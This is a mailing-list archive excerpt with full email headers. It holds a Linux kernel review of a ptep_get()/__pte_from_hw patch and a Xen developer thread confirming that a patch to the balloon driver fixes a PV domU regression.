In-Reply-To: <9ac3f058-2a22-4801-8633-65635053c8ea-agordeev@linux.ibm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0318.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:390::17) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|PAVPR08MB8799:EE_|DU2PEPF0001E9C3:EE_|AS4PR08MB7758:EE_
X-MS-Office365-Filtering-Correlation-Id: 2ed62004-bbf5-4e4d-44e5-08deee2509ae
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|7416014|376014|23010399003|1800799024|366016|10067099003|4143699003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info-Original:
 bXoevxLyBomTzrUcrVhun0Lz2qvSwqjhqFFv+0ABdtpcPStwD5Hf1TDhqSe6LXZw/RcSmI8TgDhUuUgRZ8IzmdSe9EwwmXnYb8gOnnxQheQPRyNeLSm+QZpL9Jyn9F2ukAQypbuSj+yOY6FQRKtildCDNSrBXYt8lQsM43yNUPSSHqfcRGjt2gbPe01TXLohTFVnQahK8mNAG3aCg8e5ATUKoB4j1boNWR5bqhE11KZoIHKyrQ9rGMLHo+utUPmD14NYZ2FeZ5LsVK4yqjha6ZE9NIfBRFQ6cbeM0Wcke0zMh5NmmncdG1DHtV3WmQlYYOBd3O9llxqeE+fPwbgprPki19mkYjuVsr2T2oveffhVTfiVHWIHobneT5i3NEKBi7jzrX7D9xRYjgT9qEY5aVcFkh/m7H3tYN5zON+LPD9KSqTMDI8orON72pqvLBPvfDcp2iWdDLy6W2PoQR/XaZ+j/kwupVpFzIC+wxl5pX7MvLvB1IeAnp4McwatuYW/vlE/E37hGQjM5FQuI3q2jrWQuXA8Usdm9xZLvsaIeiRVfq6akZTBTuKZuRUQRvRJYByjY5lNjOxXNzDgsifEw2kb5UD7kTHTofzUwTsnzHlgkCh3nnbV2DZY4orM2j0B3VJoRa7yNgbm6B1vJCVelxM1FXpCB095oQdEwc7XLes=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(23010399003)(1800799024)(366016)(10067099003)(4143699003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 fRfLvb6r8bsLj3g3MnaBsYK69jHABWYM5adlkAvFoXPc0l1et+e3sDQ3fVIRsEzSSUHvudUiLQSN1kl8DLhZgvreDww/cFr1g86SOnt7wO2FBTIUO/ZzlkT8Wvwu46XHD4O+KL+0Cg/Diiz2llOOhpq4aiE6EXMnR9Jty79jMbo4WlVoDwk7rCf0ZFgswXd0qvS4UDhThZBdUyZiw6CtADRjNgY5a9diCihtmRmWmQpuHqLJKwydC+Dpvuc9V5JKWLq1AXqkddTyT6hxcedajVUdf8dGPi6m5F3LRifURcDqh+yjXIqzzZzhIheI+Vld8LNBlcPPqqB+vdkb22xPOw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAVPR08MB8799
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DU2PEPF0001E9C3.eurprd03.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	17a892ef-686f-4e19-2c23-08deee24e2a3
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|35042699022|376014|7416014|36860700016|23010399003|14060799003|1800799024|82310400026|56012099006|11063799006|10067099003|4143699003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	Z1BAaOk6B9uCMw7HqCIVFa23sWZ/KUwa1hSxiZ+zIwpADynN/vhnmecI9+b7C6DFpmJ67xEAkEyLjiB9o6OSPEl4wH8ezUIcep3QykY3naEnwIxg4xPleEV/W2cWBnoIrmiG0D/Wi7RAwLiwKowSiTaFlvNdh2oqksCuZqTHhS5KCB12G8rDx0rWEU62yEJ4DlX5UGrU0s0oERsJl4LqX2Zfe5zuy4oZf6C1P9htyUrB7o7c2pDexCAPr8UZfui8XYb/U4ExxaFK/dVp3IWrow2dGgAL06mh7t7HvNAiwHfPmf+Zzql+HGuYvL5a2vSFSDu1JNzqCjpQ3hIbUPpGpGOwjiPFLzwjdrz12bVOpZ+HM4VI3tD1ratUjYqQmZE1bxgzeriMQCp8DXI2tU4jzf0jYjOTEbziNyqSXOuo9upQhlKgcTz9JhLst2wRl5NTxqkaBWSmaCT0Xh114NhpfAqJpJ7gTMgGufMAHLEjbCUSBQvEezNCpdJopO61udd8ML0JiNs/RkWGEcY9ZNOFUxy+/k+6Jkh3zcanQesE39dtNFrGdLlcIhQTd7M5/s1uCcGJWrXEBthPk59n/bHlnjh00Wo8VtRHIrbbniIceIYHIEP9hzZRptCmqm0bw+Grp4mwkRN0IjgCYIN6M+8TD/Wh4ZBHHjv64DSmyAo0IiNsoLT+CVKXOJNqVrmUFwCAtEgXXgU8hgMQIzvBb63v5Q==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(35042699022)(376014)(7416014)(36860700016)(23010399003)(14060799003)(1800799024)(82310400026)(56012099006)(11063799006)(10067099003)(4143699003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	jp8hMIbXZEYBINRi8OIiVYCjAxWHMFaXfKeVo6xRWmXbe3ar6XJ0MFjdSsFmetL1MZUnz047Doifpuq9kGIPdWUzBlRHWb02yz1SEdzs9MBiRzo6ZrYJKpYiMta+6R9EYpgfnerBlOBrP+O1U9KAwNUFppmcKoRyqrxdgI8DagKKw7pEaS9V54HMRUyCNG3xqM+2i0HmePDEV97XBbmN9IuMZEO4X9LY2132llfEx44J2W9a4rxE4kobhz+FIbs6IeZAChBLFUuqXD0XcQXk71PdtZxD45+nCovImRvfKyBCT7843oEa365lFiGacSFfnNapSWJZhTuNpY4qm2GBZ6OWY0lDl63lvKVoPbJ3RAZkSw9r0oOFno1rt4zdXpayntNaX9zEDJxRBiEEiDYVpS1HSr8KCuKXJojlwJ/dx5KWMhiTUVer/j29V9G+mHuZ
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 10:26:37.6141
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 2ed62004-bbf5-4e4d-44e5-08deee2509ae
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DU2PEPF0001E9C3.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS4PR08MB7758
X-purgate-ID: tlsNG-c201ff/1785407204-718AE2A1-D9A2C9D4/0/0
X-purgate-type: clean
X-purgate-size: 2158

On 30/07/2026 11:24 am, Alexander Gordeev wrote:
> On Thu, Jul 30, 2026 at 11:11:35AM +0100, Muhammad Usama Anjum wrote:
>> On 30/07/2026 11:08 am, Alexander Gordeev wrote:
>>> On Mon, Jul 27, 2026 at 05:46:56PM +0100, Muhammad Usama Anjum wrote:
>>>> ptep_get() now accepts a pointer to hw_pte_t storage but must continue to
>>>> return a logical pte_t value. Add __pte_from_hw() as the conversion hook
>>>> and apply it in the generic ptep_get() implementation.
>>>>
>>>> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
>>>> ---
>>>>  include/linux/pgtable.h       | 2 +-
>>>>  include/linux/pgtable_types.h | 1 +
>>>>  2 files changed, 2 insertions(+), 1 deletion(-)
>>>>
>>>> diff --git a/include/linux/pgtable.h b/include/linux/pgtable.h
>>>> index dad80d264aac2..3003ac9cd81fe 100644
>>>> --- a/include/linux/pgtable.h
>>>> +++ b/include/linux/pgtable.h
>>>> @@ -493,7 +493,7 @@ static inline int pudp_set_access_flags(struct vm_area_struct *vma,
>>>>  #ifndef ptep_get
>>>>  static inline pte_t ptep_get(hw_pte_t *ptep)
>>>>  {
>>>> -	return READ_ONCE(*ptep);
>>>> +	return READ_ONCE(__pte_from_hw(*ptep));
>>>
>>> Should it be something like?
>>>
>>> 	return __pte_from_hw(READ_ONCE(*ptep));
>> I'd thought about it. My thinking is that we should get the pte_t first before
>> before calling READ_ONCE(). Please correct me what makes more sense?
> 
> I have a problem with "get the pte_t first" part ;) I think what we want
> is atomically read the hw_pte_t from the HW table and then convert the
> result to pte_t.
Got it. I'll fix it in the next version.

> 
>>>
>>>>  }
>>>>  #endif
>>>>  
>>>> diff --git a/include/linux/pgtable_types.h b/include/linux/pgtable_types.h
>>>> index ed5dba42a4f8c..61afe27307ec2 100644
>>>> --- a/include/linux/pgtable_types.h
>>>> +++ b/include/linux/pgtable_types.h
>>>> @@ -6,6 +6,7 @@
>>>>  
>>>>  #ifndef __HAVE_ARCH_HW_PTE_T
>>>>  #define hw_pte_t pte_t
>>>> +#define __pte_from_hw(pte)	(pte)
>>>>  #endif
>>>>  
>>>>  #endif /* _LINUX_PGTABLE_TYPES_H */
>>>> -- 
>>>> 2.47.3
>>>>
>>
>> -- 
>> Thanks,
>> Usama
>>

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 10:30:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 10:30:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377376.1623519 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpO1h-0004rW-RU; Thu, 30 Jul 2026 10:30:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377376.1623519; Thu, 30 Jul 2026 10:30:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpO1h-0004rP-P0; Thu, 30 Jul 2026 10:30:09 +0000
Received: by outflank-mailman (input) for mailman id 1377376;
 Thu, 30 Jul 2026 09:36:49 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <yannick.martin@okazoo.eu>) id 1wpNC4-00082u-GO
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:36:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpNC3-008RUv-Sy
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:36:47 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <yannick.martin@okazoo.eu>)
 id 6a6b1b24-2eae-0a2a0a5409dd-0a2a4502cd24-28
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:36:47 +0200
Received: from [62.210.211.125] (helo=yop24.okazoo.eu)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <yannick.martin@okazoo.eu>)
 id 6a6b1b2f-6ca4-0a2a45020019-3ed2d37dccf6-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:36:47 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=yop20250924 header.d=okazoo.eu header.i="@okazoo.eu" header.h="Content-Type:Message-ID:Date:MIME-Version:User-Agent:Subject:From:To:Cc:References:Content-Language:In-Reply-To"
Authentication-Results: yop24.okazoo.eu; arc=none smtp.remote-ip="2001:861:81:ab03:a8da:71bb:ac4c:8efe"
ARC-Seal: i=1; d=okazoo.eu; s=_arc_yop20260218; a=rsa-sha256; cv=none;
	t=1785404207;
	b=U7E6nRuEKu5gH0YdoAMZuc+jwsPWpXB9w1C90boZ+J9EOR7+7My0cqN21SDkO9YEJqwA
	 vOWHLmq05gXt4i+NhD8qpZzo1EShRev4eRQl0PLqpqZCw96Rkyswfn7lgXtwNqV9DefTx
	 5WmikfKD5KUaYzpkcIcyXkug5aGUIjmyB9PcufsEIpoWXV1mKIAGnheIQCifF28Rd7G1E
	 RQwYvNl5ihz/N5G1CBn9q4CotYvqf8mVzL9C5E7unWWlHpHaYqG+UEP8DsSI87sbKJDuA
	 2agk6gQU44h6XHa03GkZSFCWYikBiLGlex7aSz2FIoEUN6eIYhuPqFsjqVkP3Pv8FrA==
ARC-Message-Signature: i=1; d=okazoo.eu; s=_arc_yop20260218; a=rsa-sha256;
	c=relaxed/relaxed; t=1785404207;
	h=DKIM-Signature:Content-Type:Message-ID:Date:MIME-Version:User-Agent:
	 Subject:From:To:Cc:References:Content-Language:In-Reply-To;
	bh=sQRMRRFPnLwRU9VpwRbZlfnzUOMkA2Be4k9DBLnfosU=;
	b=cJ7hNsdpSIIXXEdQJaG8HiWfNTm37glBjrVYoOS3DSDzLbLQbyMzOvN8RW7o4R0SKimF
	 GNa+TOLC9Kea3D0Z9KqYBW/7qflo73jt4NrY1XQZWGCB6AWSV4n4LI7p25EONyHa3nttH
	 bwICtyhVKSdvuPZrUG89GzzmGGkQb5Be/kD8OAVIAsL+OWkTPfxaOJNdXHiH46Rp7iXNl
	 3ptvBdRIR+Xn+ecqdHq9f8N/c2Thvj4FRXqRzM1aCeBvGLWpIiqM7Vxt5OSvxGvPljKas
	 xBFgeND0Tmr4AJ50LGhU1SOb56EWDlwskcdnXp3c7BGzYCF7q9blaB2FDX5haMsDn1w==
ARC-Authentication-Results: i=1; yop24.okazoo.eu; arc=none smtp.remote-ip="2001:861:81:ab03:a8da:71bb:ac4c:8efe"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=okazoo.eu;
	s=yop20250924; t=1785404207; r=y;
	bh=sQRMRRFPnLwRU9VpwRbZlfnzUOMkA2Be4k9DBLnfosU=;
	h=Content-Type:Message-ID:Date:MIME-Version:User-Agent:Subject:From:
	 To:Cc:References:Content-Language:In-Reply-To;
	b=HcnsHe4w4J3KAy3NaMHMeEQ9yji5d55JNKqYqG+wBNiUOs2ejIpf+D5z4L1QttXzP
	 E0ut7xp5sEXwcturRxo7KjrgQ1iwfgSaW5Ch5XGor2CS9+FWyPWOy5HqxAPWLQrUep
	 9L5pSOMqFukd4RedmVnXidxd/f7G9KfKY4gZleMp1eSGlxu2b8940mQahjh0jxDbJ6
	 TjyzDLXApCY5GPoffewyhL0XTG+UgSyoAl5Xs5+/iDlbIjT1yaTu2BqwmyEe4x6hmp
	 NaKUuud/+0k49Oa+W11Bmom60zPmegEl8CCPa2y+1HYHuu618Bez4QFDyhHLRahl3N
	 I0I0mwtkjiGvQ==
Content-Type: multipart/alternative;
 boundary="------------jrC2FWRPAOdkLGqhkPnFxVLj"
Message-ID: <99ef3e01-980f-4bdd-aada-4af4d12d337f@okazoo.eu>
Date: Thu, 30 Jul 2026 11:36:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [regression] Bug 221745 - PV DomU ballooning driver init issue
From: Yannick Martin <yannick.martin@okazoo.eu>
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Thorsten Leemhuis <regressions@leemhuis.info>
Cc: Juergen Gross <jgross@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Linux kernel regressions list <regressions@lists.linux.dev>,
 yannick.martin+kernelorg@okazoo.eu
References: <f7fe5959-f0c6-430c-8404-927d7944c836@leemhuis.info>
 <ameMgwuUIhZbslHh@macbook.local>
 <519EE50D-9B83-424F-8800-B19DFA81FD79@okazoo.eu>
Content-Language: fr
In-Reply-To: <519EE50D-9B83-424F-8800-B19DFA81FD79@okazoo.eu>
X-purgate-ID: tlsNG-720697/1785404207-670B02AC-CA9DE5E3/37/8813544393-1941467
X-purgate-type: clean
X-purgate-size: 10353

This is a multi-part message in MIME format.
--------------jrC2FWRPAOdkLGqhkPnFxVLj
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

SGVsbG8NCg0KSXQgd29ya3MgISEhDQoNCnVuYW1lIC1hDQpMaW51eCBzdGF0dXMgNy4yLjAt
cmMzLXhlbmRvbXUgIzEgU01QIFBSRUVNUFQgVGh1IEp1bCAzMCAxMDozOToxMyBDRVNUIA0K
MjAyNiB4ODZfNjQgR05VL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YXRzLnRhcmdldF9wYWdlcykgeyBXQVJOKDEs
ICJFeHRyYSBwYWdlcyB1bmRlcmZsb3cNCj4gICAgIGN1cnJlbnQgdGFyZ2V0Iik7IHJldHVy
biAtRVJBTkdFOyArIH0gZWxzZSB7ICsNCj4gICAgIGJhbGxvb25fc3RhdHMuY3VycmVudF9w
YWdlcyAtPSBwYWdlczsgKyBiYWxsb29uX3N0YXRzLnRhcmdldF9wYWdlcw0KPiAgICAgLT0g
cGFnZXM7IH0gLSBiYWxsb29uX3N0YXRzLmN1cnJlbnRfcGFnZXMgLT0gcGFnZXM7IC0NCj4g
ICAgIGJhbGxvb25fc3RhdHMudGFyZ2V0X3BhZ2VzIC09IHBhZ2VzOyB9IHJldHVybiAwOw0K
Pg0KDQo=
--------------jrC2FWRPAOdkLGqhkPnFxVLj
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3DUTF=
-8">
  </head>
  <body>
    Hello<br>
    <br>
    It works !!!<br>
    <br>
    uname -a<br>
    Linux status 7.2.0-rc3-xendomu #1 SMP PREEMPT Thu Jul 30 10:39:13
    CEST 2026 x86_64 GNU/Linux<br>
    <br>
    # ps auxwwwf | grep -i ball<br>
    root=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 48=C2=A0 0.0=C2=A0 0.0=C2=A0 =C2=
=A0 =C2=A0 0=C2=A0 =C2=A0 =C2=A00 ?=C2=A0 =C2=A0 =C2=A0 =C2=A0 S=C2=A0 =C2=
=A0 11:33=C2=A0 =C2=A00:00=C2=A0
    \_ [xen-balloon]<br>
    <br>
    dmesg=C2=A0 | grep -i ballo<br>
    [=C2=A0 =C2=A0 0.436657] xen:balloon: Initialising balloon driver<br>=

    <br>
    domU memory resize works, tested 1024m -&gt; 1200m -&gt; 1000m.<br>
    <br>
    Regards<br>
    <br>
    <br>
    <div class=3D"moz-cite-prefix">Le 27/07/2026 =C3=A0 19:10, Yannick Ma=
rtin a
      =C3=A9crit=C2=A0:<br>
    </div>
    <blockquote type=3D"cite"
      cite=3D"mid:519EE50D-9B83-424F-8800-B19DFA81FD79@okazoo.eu">
      <meta http-equiv=3D"content-type" content=3D"text/html; charset=3DU=
TF-8">
      <div dir=3D"auto">Hello<br>
        <br>
        I will try this tomorrow !<br>
        <br>
        Regards</div>
      <br>
      <br>
      <div class=3D"gmail_quote">
        <div dir=3D"auto">Le 27 juillet 2026 18:51:15 GMT+02:00, "Roger
          Pau Monn=C3=A9" <a class=3D"moz-txt-link-rfc2396E" href=3D"mail=
to:roger.pau@citrix.com">&lt;roger.pau@citrix.com&gt;</a> a =C3=A9crit :<=
/div>
        <blockquote class=3D"gmail_quote"
style=3D"margin: 0pt 0pt 0pt 0.8ex; border-left: 1px solid rgb(204, 204, =
204); padding-left: 1ex;">
          <pre class=3D"com-fsck-k9__plain-text-message-pre"><div
          dir=3D"auto">On Mon, Jul 27, 2026 at 10:42:25AM +0200, Thorsten=
 Leemhuis wrote:
</div><blockquote class=3D"gmail_quote"
style=3D"margin-bottom: 1ex; --com-fsck-k9__blockquote-default-border-col=
or: #729fcf;"><div
          dir=3D"auto">Hi Roger! FYI, it seems your change 0949c646d64697=
 ("Partial revert
"x86/xen: fix balloon target initialization for PVH dom0"") [v7.0-rc1]
caued a regression. For details see
<a href=3D"https://bugzilla.kernel.org/show_bug.cgi?id=3D221745"
          moz-do-not-send=3D"true" class=3D"moz-txt-link-freetext">https:=
//bugzilla.kernel.org/show_bug.cgi?id=3D221745</a>

To quote the initial comment:

</div><blockquote class=3D"gmail_quote"
style=3D"margin-bottom: 1ex; --com-fsck-k9__blockquote-default-border-col=
or: #ad7fa8;"><div
          dir=3D"auto">Since commit db8c4b1 (Partial revert "x86/xen: fix=
 balloon target initialization for PVH dom0"), xen ballooning fails to in=
it correctly on domU (on amd64 arch) with the following configuration:

-- xl.cfg
=2E..
memory      =3D '2048'
maxmem      =3D '4096'
=2E..
--

-- domU balloon dmesg (init fails)
[    0.908337] xen:balloon: Initialising balloon driver
[    0.940721] Extra pages underflow current target
</div></blockquote></blockquote><div dir=3D"auto">
Yeah, I'm afraid the original fix commit didn't fully fix the issues,
so there's the following change (chunk below) that's needed
additionally to cope with memory !=3D maxmem on PV guests.

I've done some basic testing and it seems to solve the issue, could
you give it a spin also?  (just to make sure I'm not missing anything
else).

Thanks, Roger.<hr>diff --git a/drivers/xen/balloon.c b/drivers/xen/balloo=
n.c
index e7f1d4ca6d75..c20a1ff8292d 100644
--- a/drivers/xen/balloon.c
+++ b/drivers/xen/balloon.c
@@ -703,19 +703,26 @@ static int __init balloon_add_regions(void)
 			balloon_append(pfn_to_page(pfn));
=20
 		/*
-		 * Extra regions are accounted for in the physmap, but need
-		 * decreasing from current_pages and target_pages to balloon
-		 * down the initial allocation, because they are already
-		 * accounted for in total_pages.
+		 * For HVM domains: extra regions are accounted for in the
+		 * physmap, but need decreasing from current_pages and
+		 * target_pages to balloon down the initial allocation, because
+		 * they are already accounted for in total_pages.
+		 *
+		 * For PV domains: extra regions are not accounted for in the
+		 * initial memory target, and hence need adding to the stats as
+		 * additional unpopulated regions.
 		 */
 		pages =3D extra_pfn_end - start_pfn;
-		if (pages &gt;=3D balloon_stats.current_pages ||
-		    pages &gt;=3D balloon_stats.target_pages) {
+		if (xen_pv_domain()) {
+			balloon_stats.total_pages +=3D pages;
+		} else if (pages &gt;=3D balloon_stats.current_pages ||
+		           pages &gt;=3D balloon_stats.target_pages) {
 			WARN(1, "Extra pages underflow current target");
 			return -ERANGE;
+		} else {
+			balloon_stats.current_pages -=3D pages;
+			balloon_stats.target_pages -=3D pages;
 		}
-		balloon_stats.current_pages -=3D pages;
-		balloon_stats.target_pages -=3D pages;
 	}
=20
 	return 0;
</div></pre>
        </blockquote>
      </div>
    </blockquote>
    <br>
  </body>
</html>

--------------jrC2FWRPAOdkLGqhkPnFxVLj--


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 10:39:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 10:39:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377478.1623528 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOAi-0006DK-QU; Thu, 30 Jul 2026 10:39:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377478.1623528; Thu, 30 Jul 2026 10:39:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOAi-0006DD-Nb; Thu, 30 Jul 2026 10:39:28 +0000
Received: by outflank-mailman (input) for mailman id 1377478;
 Thu, 30 Jul 2026 10:39:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpOAh-0006D0-22
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:39:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpOAg-002qvF-CR
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 12:39:26 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b29d7-2eae-0a2a0a5409dd-0a2a4506dd7e-18
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:39:26 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b29dd-195a-0a2a45060019-d155802cc1ba-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 12:39:26 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4954aff6088so18075475e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 03:39:26 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4980120b64asm52734815e9.12.2026.07.30.03.39.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 03:39:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Content-Language:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785407965; x=1786012765; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:from:to
         :cc:subject:date:message-id:reply-to:content-type;
        bh=dbsNaiBH5RjnqoFfh9A1KghoSK6BqeERtvAFvq1prgw=;
        b=AEYCMo1+Ol3d4lP0/WOYU8GAZDgXtN3oI/NRw/thxps8p2t6zfsRSSVY0Fxd2B1T2L
         Pj9p8iekjSNeOrclmo64oA6u2UIQNtxQMMH8mLtz4YztlXRO8yDP6e2dIHhchzI4xVPB
         9DBdR1waCmwMTKvSNQNYed29bFnpf+/XY55VuiD7At6L2udo6VeWUdGkTYpC6F636Ko8
         UyGqWguSJEv8/6mVI3EC9VlU8BjWYZh7CrOvUysRMYZaZw6yYFv50g3H3G25omxdYxo/
         jgCa+hj9co28HRtdxC0rmlour/wCgwDEfOJXAoT2byoZzAv2WjFfWxtAf0okkQXF76G0
         NryA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785407965; x=1786012765;
        h=content-transfer-encoding:content-type:autocrypt:content-language
         :cc:to:subject:from:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=dbsNaiBH5RjnqoFfh9A1KghoSK6BqeERtvAFvq1prgw=;
        b=kU4pIafv63IFTTDVQj5U+r/qKpEAycGSclMrk/nY5UfHf+wIdmoRfoAdf3h9H/E6DW
         5ILD5TMn14bq1Hznboln9MDaDlhym+QKhF3Ml6mQB+7SbfA6u9cuOk7MPh2Y0URRy7kw
         Km0pRf6/Q6CNf9lYVOza/eINHeG9itrx4JyRF3AeCl/C54/Yw3evM8kkeUS6LptdfAtf
         eCg6FAhgQJuaQG3nKhOr7xuPDcQXOMU214qeeeWY2XgaawmypzENIo7z06LOHDUredY1
         qbwdOnmFBCHf9HZ+AqzJ9LNyNIpwB3nbuqW5SVgHCpKJlWilskBDg+lG0D8gfp8P9Yyn
         k7dQ==
